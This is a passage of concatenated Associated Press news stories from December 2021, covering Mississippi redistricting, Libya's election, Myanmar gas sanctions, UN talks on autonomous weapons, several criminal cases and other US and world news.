tunnel. JACKSON, Miss. (AP) A group of Mississippi lawmakers finalized a proposal on Wednesday for how the states four congressional districts could look in the next decade, one that will largely preserve Republicans' 3-to-1 advantage. The proposed Magnolia 1 map, presented by Republican Rep. Jason White, received GOP support and was greenlit by the legislatures joint congressional redistricting committee. It will be put to the full legislature for a final vote when the session starts in January. However, several Democratic lawmakers disagreed over how the map was reconfigured in Democratic U.S. Rep. Bennie Thompsons district, mainly the splitting of the capital of Jackson between Thompson and Republican U.S. Rep. Michael Guest. The state of Mississippis population increased slightly during the 2020 census in its three majority-white Republican-controlled districts, but it decreased by around 9% in Thompsons district, which encompasses the Delta and most of the city of Jackson. To have roughly equal populations among the four districts, the boundaries must be adjusted. The Magnolia 1 proposal moves four southwestern counties Franklin, Adams, Wilkinson and Amite currently in Guest's district to Thompson's district to increase its population. White said the goal is to keep each district's population at around 740,020. Moving the four counties maintains the percentage of Black voters in Thompson's district at more than 60%, White said. However, three Black Democratic state lawmakers Rep. Bo Brown, Sen. Derrick Simmons and Sen. Angela Turner-Ford said they would rather see the majority-Black city of Jackson fall entirely in Thompson's district. They say they support a proposal from the NAACP that would have kept the four southwestern counties in Guest's district and made all of Jackson Thompson's. The NAACP map also would have moved more Madison County voters into Thompson's district. White told reporters that southern Madison County and northeast Jackson are typically majority-Republican areas, and Guest wanted to keep them in his district. White said they chose to add the four southwestern counties to Thompson's district because they are river communities similar to others in his district. He said Guest's role on the U.S. House Committee on Transportation and Infrastructure could be a boon for Jackson, which has a long history of problems with its outdated water system. However, Simmons said by increasing the geography of Thompson's district, the Magnolia 1 plan also increases the distance he has to travel to campaign. If you look at the map, Congressional District Two now it spans the length of the state of Mississippi," Simmons said. The question is, did he have to actually go all the way down to those four southern counties to pick up their population? Redistricting happens every decade after census numbers show how the population has increased or decreased in different parts of the state. Mississippi will keep four seats in the U.S. House, despite the Census Bureau finding that it was one of three states to lose population between 2010 and 2020. Mississippi dropped from five U.S. House seats to four after the 2000 Census because the state was growing more slowly than many others. Legislators then deadlocked on how to go from five districts to four, and the districts were drawn by federal judges. The federal court again handled Mississippis congressional districts after the 2010 census. ___ Leah Willingham is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on undercovered issues. BEIRUT (AP) Lebanons interior minister on Wednesday ordered the deportation of members of Bahrains outlawed Shiite opposition party after they criticized from Beirut their countrys human rights record. The deportation order is likely another attempt to ease an unprecedented diplomatic rift between Lebanon and several Gulf Arab nations, including Bahrain, a Sunni monarchy with a majority Shiite population. Earlier this month, Lebanons information minister, who is at the heart of the weekslong crisis, resigned in a bid to ease the rift. Bahrain in 2016 suspended Al-Wefaq, the island nations largest opposition political party, as part of its crackdown on dissent that erupted following the 2011 Arab Spring uprisings in the region. The party, many of its members now living in exile, last week held a press conference in Beirut to launch its annual human rights report. It wasnt immediately clear how many Al-Wefaq members will be impacted by the decision. According to a statement published on Lebanon's state-run news agency, Interior Minister Bassam Mawlawi on Wednesday spoke over the phone with his Bahraini counterpart, Rashid bin Abdullah Al Khalifa. The call was followed by his decision asking Lebanese General Security to deport non-Lebanese members of Al-Wefaq. During the conference, organized at a Beirut hotel, Al-Wefaq said it has documented more than 20,000 detainees in Bahrain since 2011, including hundreds of unlawful detentions and enforced disappearances in just 2019 and 2020. Bahrain said it strongly protests what it described as Lebanon hosting hostile members who have been designated as supporters of terrorism to spread false information that defames the Gulf Arab nation. It called on Lebanon to bar such events, saying they are not harmonious with brotherly relations. The diplomatic row between Lebanon and Saudi Arabia and other Gulf Arab countries broke out in late October when remarks by Minister George Kordahi were aired, critical of the Saudi-led war in Yemen. Saudi Arabia, followed by the United Arab Emirates, Kuwait and Bahrain, withdrew their ambassadors and asked the Lebanese envoys to leave their capitals. After weeks of resisting, Kordahi resigned but the crisis has persisted, rooted in concerns Saudi Arabia and its allies have of Iran's rising influence in the region, including in Lebanon where the Iran-backed Shiite militant Hezbollah group wields considerable power. Bahrain accuses Iran of backing Al-Wefaq, which is also seen as an ally of Hezbollah. When Bahrain cannot bully legislators criticizing its abysmal rights record in capitals like London, Washington and Brussels, it seems it can only muscle up against fragile states, Sayed Ahmed Alwadaei, director at the London-based Bahrain Institute for Rights and Democracy, said in an emailed statement. He was referring to Lebanon, which has been battling the worst economic crisis in its history. CAIRO (AP) Libyas presidential election, meant to help unify the nation after a decade of civil war, is supposed to take place in just over a week, but calls are mounting for a delay. Either scenario holding the vote on time or postponing it could turn into a destabilizing setback. The vote, scheduled for Dec. 24, is to choose Libyas first president since the ouster and killing of longtime dictator Moammar Gadhafi more than a decade ago. For nearly a year, the election has been the lynchpin of international efforts to bring peace to the oil-rich North African nation, and supporters fear a dangerous void if it is not held on schedule. But critics warn that going ahead with the vote now could throw the country into new violence. They say Libya remains too bitterly divided among armed factions that are likely to reject any victory by rivals in the election. The presence of some of Libyas most polarizing figures in the race including one of Gadhafis sons only makes it more explosive. Nearly 100 people have announced their candidacies, but the election commission has still not announced a final list of candidates because of legal disputes. It should have announced the list earlier this month. The rules governing the election are also in dispute, with western Libya politicians accusing the east-based parliament of adopting them without consultations. Libya plunged into chaos after Gadhafis death during a 2011 uprising backed by a U.S.-led NATO military campaign. Control splintered among a myriad of armed militias. For years, the country was split between rival administrations in the east and the west, each backed by militias and foreign governments. The current political process emerged last year after the latest round of brutal fighting. In April 2019, the eastern-based military commander Khalifa Hifter launched an offensive aimed at capturing the capital, Tripoli, and bringing down the U.N.-recognized government based there. Hifter was backed by Russia, Egypt and the United Arab Emirates. Turkey and Qatar responded by stepping up support for pro-Tripoli militias, supplying them with advanced weapons and providing troops and Syrian mercenaries. After 14 months of fighting, Hifters offensive collapsed. After a U.N.-brokered cease-fire in October 2020, a grouping of Libyan factions called the Political Forum drew up a road map that led to the creation of an interim government to run the country until the Dec. 24 election. Those calling for a delay in the election say the mistrust between east and west remains too deep and volatile. The interim government has not been able to unify Libyas institutions, particularly the military, dismantle militias or ensure the exit of foreign mercenaries and fighters, said one U.N. official. These issues should have been settled before going to elections. They need more time and effort to be resolved, he said, speaking on condition of anonymity because he was not authorized to talk to the press. Tarek Mitri, a former U.N. envoy for Libya, warned that without unified military forces, the election poses a threat to peace. How can you win the argument in a democratic election when guns are loaded to the hilt on both sides? he said. In a last-minute effort to save the elections, U.N. Secretary-General Antonio Guterres named American diplomat Stephanie Williams, who led the talks resulting in the October 2020 cease-fire deal, as his special adviser on Libya. Williams met with Libyan officials in Tripoli on Sunday. She called for all sides to respect the overwhelming demand of the Libyan people to elect their representatives through a free, fair and credible election. She did not mention the Dec. 24 dateline in her public comments. The United States and some others in the international community want the vote to go ahead. As he stepped down on Dec. 8, outgoing U.N. envoy Jan Kubis said the election must take place on schedule, calling it a critically important step that opens doors to future solutions. The polarization around the election only grew hotter after both Hifter and Seif al-Islam Gadhafi, the son and one-time heir apparent of the longtime dictator, announced their candidacies. Hifter, touted in the east as a hero, is hated by many in the west of the country. The entire western region will fight Hifter ... he will never rule Libya, Islamist Khalid al-Mishri, head of the Tripoli-based Supreme Council of State, said in televised comments last month. Seif al-Islams bid raised cries of an attempted return to the days of his father. Those who believe in the possibility of Libyas returning to the era of dictatorship after all these sacrifices are delusional, Abdel-Rahman el-Swahili, a lawmaker from Misrata, the western city that was one of the leading forces in the rebellion against the elder Gadhafi. The prime minister of the interim government, Abdul Hamid Dbeibah, also caused an uproar when he announced his bid to enter the race. When he took his post, he had vowed not to run in the election. Many Libyans are skeptical. All (the factions) say publicly they want elections, but in in fact, all worked against it, said Ramadan al-Zawi, a 29-year-old teacher. We are deceiving ourselves when we talk about elections while we are still in such an unchanged situation since 2011. CLAYTON, Mo. (AP) A man who killed a co-worker at a suburban St. Louis recreation center before getting into a shootout with police pleaded guilty Wednesday to several charges. The St. Louis Post-Dispatch reported that 32-year-old Michael Honkomp faces sentencing in February for the shooting on Feb. 24, 2020, at the Maryland Heights Community Center. Prosecutors are recommending a life term calculated at 30 years plus a consecutive term of 15 years. LONDON (AP) A double murderer who sexually abused more than 100 corpses in hospital mortuaries was sentenced Wednesday to life in prison. David Fuller, 67, admitted during his trial last month that he murdered two women in separate attacks in 1987. Prosecutors said he had sexually assaulted the two women after killing them. Police searches of Fullers home in connection with the murders uncovered millions of images of sexual abuse, including video recordings of him abusing bodies over 12 years at two hospitals in southeast England. Fuller filmed himself carrying out the attacks on at least 102 bodies in mortuaries inside the now-closed Kent and Sussex Hospital and the Tunbridge Wells Hospital, in Pembury, where he had worked as an electrician since 1989. Identified victims included three children and others older than 85. He evaded justice for decades and was arrested for murder in December 2020, following new analysis of decades-old DNA evidence. Handing down the life sentence, Justice Bobbie Cheema-Grubb told Fuller he was a vulture "picking your victims from among the dead. The depravity of what you did reveals that your conscience is seared," she said. There is so much sorrow in this community because of what you have done," she added. The offences committed in the mortuaries involved an astonishing breach of trust and invasion of privacy, that was repeated so much that it became habitual. You had no regard for the dignity of the dead. Britains government is setting up an independent inquiry into how Fuller went undetected, and officials are also looking into compensation for affected families. Hospitals across the country have been asked to urgently review and step up security, including closed-circuit camera coverage. MALDEN, Mass. (AP) A 65-year-old Massachusetts man is dead following a stabbing in the city of Malden. Authorities have not yet released the identity of the victim in the fatal incident, which occurred early Wednesday morning, according to a release from Malden police and the Middlesex district attorney's office. Police responding to reports of a stabbing found the man in an apartment parking garage just before 6 a.m. He was transported to a hospital where he was pronounced dead. Investigators determined the man was a resident of the complex and believe he was stabbed by a male acquaintance. The suspect was apprehended Wednesday morning and remains in custody. He has not been identified. PHOENIX (AP) Attorneys for a Mexican woman who was shot in the head by a Border Patrol agent and survived announced Wednesday that they filed a claim against the U.S government as a precursor to a federal lawsuit. The claim filed with the Border Patrol by Marisol Garcia Alcantara, who had arrived in the U.S. shortly before the shooting over the summer in Nogales, Arizona, is necessary before a civil action is filed next year with the U.S. District Court in Tucson. I want to know why, why did they do that and why me? Garcia, 37, said in an interview last week from her family home outside Mexico City. I am looking for justice. I want an apology from that person and help for medical care and medicine because I cant work," she said. The bullet entered Garcia's head above her left eye and fragments still remain in her brain, putting her at risk of seizures. She said that a half-year later she still suffers from loss of memory, dizzy spells and headaches. Customs and Border Protection, which oversees the Border Patrol, said the agency could not comment because the shooting was still being investigated internally by its Office of Professional Responsibility. It will also be reviewed by the CBP's National Use of Force Review Board. The agents identity has not been revealed. Garcia's legal team have said the Border Patrol is not in a position to impartially investigate the June 16 shooting. They point to longstanding concerns over Border Patrol units known as Critical Incident Teams, which collect information about agents use of force. Detractors call them shadow units that may impede investigations into whether agents actions are justified. Attorney Eugene Iredale, who is representing Garcia, called the teams the administrative equivalent of an anti-internal affairs squad designed to protect the agency from liability. The Southern Border Communities Coalition, a nonprofit advocacy group, on Wednesday reiterated calls for a congressional investigation into the shooting and the Critical Incident Teams. This incident is not unique, said Rep. Raul Grijalva, a Democrat who represents southern Arizona and supports such an inquiry. This is a pattern that needs to be dealt with. CBP said the Critical Incident Teams do not lead investigations, but rather collect evidence for other agencies, in this case under the direction and supervision of the FBI. Garcia said American officials never asked her about the shooting. No one investigated, she said. I returned to Mexico without making a declaration. Garcia said she had gone to the U.S. to visit her mother and look for work to support her three daughters. Shortly after arriving in the U.S., she was among a group of people riding in a SUV in the border city of Nogales, Arizona, sitting behind the driver. She heard a siren, felt pain in her head, and her vision blurred while people in the vehicle tended to her wound. She was rushed to a nearby hospital then flown by helicopter to another one in Phoenix where she had surgery that night. Garcia said after two days in Phoenix, she was taken to a detention center for several weeks until she was sent back to Mexico. The announcement of the claim comes just days after Chris Magnus, the reform-minded Tucson police chief, was sworn in as CBP commissioner. Magnus updated Tucsons use-of-force policies and made many other changes during his time with the department. ___ Associated Press writer Elliot Spagat contributed to this report from San Diego. PLATTE CITY, Mo. (AP) A man has been convicted of killing four of his family members including an infant whose bodies were discovered in the aftermath of a 2016 house fire in northwestern Missouri. A Platte County jury on Tuesday found 30-year-old Grayden Lane Denham guilty of four counts first-degree murder, four counts of armed criminal action and several other counts. BILLINGS, Mont. (AP) Montana wildlife officials on Tuesday advanced plans that could allow grizzly bear hunting in areas around Glacier and Yellowstone national parks, if states in the U.S. northern Rockies succeed in their attempts to lift federal protections for the animals. Grizzlies in the region have been protected as a threatened species since 1975 and were shielded from hunting for most of that time. Montana Gov. Greg Gianforte last month announced the state intends to petition the Biden administration to lift threatened species protections for Glacier-area grizzlies. Wyoming Gov. Mark Gordon is leading a similar push to end protections for Yellowstone area bears. The two regions have the most bears in the U.S. outside Alaska, the only state that currently allows hunting. As officials seek to make the case that protections are no longer needed, Montana wildlife commissioners voted to sign onto a multistate plan to maintain more than 900 bears in the Yellowstone area. Wyoming already has signed onto the plan, which would allow limited hunting. Idaho officials are expected to consider it next month. Montana commissioners also gave preliminary approval to revisions to Glacier-area bear population targets that could allow hunting of grizzlies in northwestern portions of the state if federal protections end. The rule calls for maintaining a population of more than 800 bears. Details on any future hunting seasons would be established at a later date. Wildlife advocates have objected to the bid to lift protections, saying state officials in the northern Rockies are intent on driving down populations of grizzlies and another predator, gray wolves. But state officials backed by livestock and hunting groups say bear populations need to be more closely controlled. They cite increasing conflicts between bears and humans, including attacks on livestock and occasional maulings of people As many as 50,000 grizzly bears once ranged the western half of the U.S. Most were killed by hunting, trapping and habitat loss following the arrival of European settlers in the late 1800s. Populations declined to fewer than 1,000 bears in the Lower 48 states by the time they were given federal protections in 1975. The last grizzly hunts in the U.S. outside Alaska were in the early 1990s, under an exemption to protections that allowed 14 bears to be killed each fall in Montana. When Yellowstone grizzlies briefly lost protections under President Donald Trumps administration, Wyoming and Idaho scheduled hunts for 22 bears in Wyoming and one in Idaho, with hunting permits offered by lottery. A federal judge stepped in at the last minute and restored protections, a decision later upheld by the 9th U.S. Circuit Court of Appeals. The U.S. Fish and Wildlife Service recommended in March to keep threatened-species protections for grizzlies. The agency cited a lack of connections between the bears best areas of habitat and people killing them, among other reasons. JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern Myanmar with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As military abuses such as the murder and detention of thousands have grown, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Total's offices, and later protested the military's takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar....so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar publics cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. Others posted photos of themselves on social media holding signs that targeted the gas companies at the center of the debate: Total, Chevron Stop accessory to murder. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, 540 civil society organizations in Myanmar joined international colleagues in sending a letter to CEO Patrick Pouyanne asking Total to put an end to its complicity in crimes against humanity by making payments to a holding account. The letter argued that Total is violating local laws against misappropriating public money and has placed itself on the side of the junta. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military juntas violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but also want to prevent further harm to the people of Myanmar by cutting off electricity. In addition, Total said it is wary of putting its local employees in danger of reprisals from the military, including forced labor. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as People's Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists do not want to shut down the gas field itself. Instead, they want to sanction the projects revenues and place them in a protected offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighboring Thailand. Total cancelled exploration for new deposits in Myanmar after the military takeover. But it argues that it has to pay taxes and respect its contracts under the law, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. Several smaller offshore gas fields also operate in Myanmars waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. And China is an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. The current sanctions from the U.S. and European Union lean heavily on gemstones. The U.S. State Department did not directly address APs questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the U.S. has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the militarys two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. He did not mention oil and gas sanctions. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapore's banks of holding assets on the Myanmar military's behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the U.S. there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the U.N. Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalizing relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmar's administration, according to a senior official in the French president's office. He described the French government's thinking on condition of anonymity. He said Total's activities in Myanmar, including how it carries out payment for the gas, are the company's responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground," he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Human rights activists say its unconscionable for any company to help fund a military that has, in recent months, engaged in mass torture, launched attacks on medics, forcibly disappeared thousands of people, and returned mutilated corpses to victims families as tools of terror. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the militarys most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. "Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevrons worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isnt a significant source of income, it also doesnt cost the companies much because major set-up fees were incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable," Islam said. Also, Chevron and Totals aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue, its going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the militarys gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadanas output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the U.S. and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies concerns that they will face retaliation with sanctions, arguing the entire country is already oppressed. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I dont want to survive by working here while everyone is suffering from this crisis. Given he and millions of others already have risked so much in the pursuit of democracy, he is frustrated with the international communitys failure to act. I dont understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the countrys pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Totals poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the military's takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalizes comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasnt the international community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. ___ Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok contributed to this report. Correspondents Matt Lee and Ben Fox contributed from Washington, D.C. GENEVA (AP) The countries behind a United Nations agreement on weapons have been meeting this week on the thorny issue of lethal autonomous weapons systems, colloquially known as killer robots, which advocacy groups want to strictly limit or ban. The latest conference of countries behind a Convention on Certain Conventional Weapons is tackling an array of issues from incendiary weapons, explosive remnants of war, a specific category of land mines, and the autonomous weapons systems. Opponents of such systems fear a dystopian day when tanks, submarines, robots or fleets of drones with facial-recognition software could roam without human oversight and strike against human targets. Its essentially a really critical opportunity for states to take steps to regulate and prohibit autonomy in weapons systems, which in essence means killer robots or weapons systems that are going to operate without meaningful human control, said Clare Conboy, spokeswoman for the advocacy group Stop Killer Robots. The various countries have met repeatedly on the issue since 2013. They face what Human Rights Watch called a pivotal decision this week in Geneva on whether to open specific talks on the use of autonomous weapons systems or to leave it up to regular meetings of the countries to work out. A group of governmental experts that took up the issue failed to reach a consensus last week, and advocacy groups say nations including the United States, Russia, Israel, India and Britain have impeded progress. The International Committee of the Red Cross cautioned this month that the loss of human control and judgment in the use of force and weapons raises serious concerns from humanitarian, legal and ethical perspectives. Some world powers oppose any binding or nonvoluntary constraints on the development of such systems, in part out of concern that if the countries cant develop or research such weapons, their enemies or non-state groups might. Some countries argue theres a fine line between autonomous weapons systems and computer-aided targeting and weapons systems that exist already. The United States has called for a code of conduct governing the use of such systems, while Russia has argued that current international law is sufficient. U.N. Secretary-General Antonio Guterres, in a statement delivered on his behalf at Mondays meeting, urged the conference on CCW to swiftly advance its work on autonomous weapons that can choose targets and kill people without human interference. He called for an agreement on an ambitious plan for the future to establish restrictions on the use of certain types of autonomous weapons. The talks are scheduled to run through Friday. The issue is likely to remain with the group of governmental experts and not be elevated to special talks with a view toward other U.N. agreements that restrict cluster munitions and land mines. BRUSSELS (AP) The young adult daughter of imprisoned Russian opposition leader Alexei Navalny received a standing ovation from European Union lawmakers as she accepted the EU's top human rights prize on her father's behalf Wednesday. The European Parliament, in a clear slap at Russian President Vladimir Putin, named Navalny, 45, in October as the winner of this year's Sakharov Prize for Freedom of Thought. Navalny narrowly survived an August 2020 nerve agency poisoning that he blames on the Kremlin and the Kremlin denies. He spent months recuperating in Germany. He was promptly arrested upon his return to Moscow in January and later imprisoned. Daria Navalnaya displayed a framed picture of her father while delivering a speech to EU lawmakers. Opposing what she called a pragmatic approach in dealing with Russia and authoritarian regimes, she said she wrote to her father to find out what message he would like to convey. He answered, Say that no one can dare to equate Russia to Putins regime. Russia is a part of Europe, and we strive to become a part of it," said Navalnaya, who was born in 2001. But we also want Europe to strive for itself," she added. "We strive for a Europe of ideas, the celebration of human rights, democracy and integrity. And we dont want a Europe of chancellors and ministers who dream of getting a job on the board of Putins state companies or sailing on oligarchs' yachts." European Parliament President David Sassoli, who is from Italy, called Navalny a political prisoner and reiterated the EU legislature's call for the Russian opposition leader's immediate and unconditional release. The EU award, named for Soviet dissident Andrei Sakharov, was created in 1988 to honor individuals or groups who defend human rights and fundamental freedoms. Sakharov, a Nobel Peace Prize laureate, died in 1989. Last year, the award went to the opposition movement in Belarus and its leader, Sviatlana Tsikhanouskaya, for their challenge to President Alexander Lukashenkos rule following the country's widely disputed August 2020 presidential election. OMAHA, Neb. (AP) Nebraska's use of a private contractor to help care for neglected and abused children in the Omaha area has been plagued with problems, including high worker turnover, inadequate funding and a lack of direction, according to a legislative report released Wednesday. The report comes a day after the state said it would terminate its contract with Saint Francis Ministries, a Kansas-based provider that faced major financial problems after winning the contract in 2019. Saint Francis was hired to oversee child services in Douglas and Sarpy counties. Nebraska began its experiment with privatized child welfare services in 2009, hiring private organizations in different regions to coordinate and manage services such as family visits, preparation for court hearings and filling out paperwork. Over time, all regions except for the Omaha area reverted back to state management, as providers struggled to handle large caseloads, fell short of expectations and lost money. "Through its work, the committee observed that Nebraskas privatization initiative, beginning in 2009, suffered from the lack of an appropriate cost analysis and a contract structure that pushed financial risk onto the contractors," lawmakers said in the report. The result was a disruption in child welfare across the state, as contractors dropped out one-by-one. Nebraska officials negotiated a new, $66.7 million contract with Saint Francis in January to prevent it from running out of money. Saint Francis won the initial contract in 2019 by substantially underbidding PromiseShip, an Omaha-based agency that held the previous contract. Saint Francis agreed to provide similar services at a 40% discount to what PromiseShip could offer. The Nebraska Department of Health and Human Services later faced criticism for accepting a bid that should have seemed suspicious at the time and later proved unrealistic. Saint Francis also struggled with high caseloads and turnover among its workers, and its previous executives were fired after an investigation uncovered financial mismanagement within the nonprofit. In its announcement on Tuesday, the Nebraska Department of Health and Human Services said the agency would take over case management responsibilities but continue to use Saint Francis as a child placement service. Our mutual respect, passion, and love for the children and families in our care has allowed us to arrive at this decision, said Dannette Smith, the department's CEO. Although Saint Francis will no longer serve as the lead agency in the (Omaha area), our partnership with this agency will continue. William Clark, the president and CEO of Saint Francis Ministries, said the nonprofit will work with the state to ensure a smooth transition for children and their families. The state will likely hire some Saint Francis employees to continue serving children. In the coming weeks, our first priority will remain caring for those we serve, Clark said in a statement. ___ Follow Grant Schulte on Twitter: https://twitter.com/GrantSchulte SANTA FE, N.M. (AP) Health officials in New Mexico on Wednesday reported 1,357 new confirmed COVID-19 cases and 25 deaths as the numbers continue to rise. The latest figures pushed the states totals to 334,332 cases since the pandemic began and 5,516 known deaths. On Tuesday, New Mexico had reported 788 new cases and seven deaths. Health officials said the state usually has around 50 coronavirus-related deaths per week, so the latest numbers are troubling. According to the states latest weekly report, New Mexico added 7,953 new cases between Dec. 17-13. On top of that, New Mexico on Monday reported its first identified case of the COVID-19 omicron variant in a Bernalillo County woman. We do have the tools to fight this variant and that is with all state residents getting vaccinated, said State Epidemiologist Dr. Christine Ross. So far, 63.5% of New Mexicans are fully vaccinated as are 75% of residents age 18 and older and 56.3% of those age 12 to 17. Health officials also said 22.4% of children age 15 to 11 in the state have had at least one shot. They said New Mexico currently ranks 10th in nation for residents age 18 and over who are vaccinated. BURGAW, N.C. (AP) A North Carolina man was shot and killed by sheriff's deputies trying to serve a domestic violence protective order, a sheriff's office said. Pender County Sheriff Alan Cutler said the deputies were attempting to serve the order in the Canetuck community around 10 a.m. on Tuesday when they encountered an armed person, news outlets reported. The N.C. State Bureau of Investigation identified the man on Wednesday as Kevin Glenn Swinson, 45. Andrew Welsh-Huggins/AP COLUMBUS, Ohio (AP) A concealed weapons permit would become optional and the requirement that individuals promptly notify police officers that they are carrying a concealed weapon would be eliminated under legislation approved Wednesday along partisan lines by the GOP-controlled Ohio Senate. The bill is similar to a measure approved by the Ohio House last month, and one of several GOP-backed proposals in recent years seeking to expand 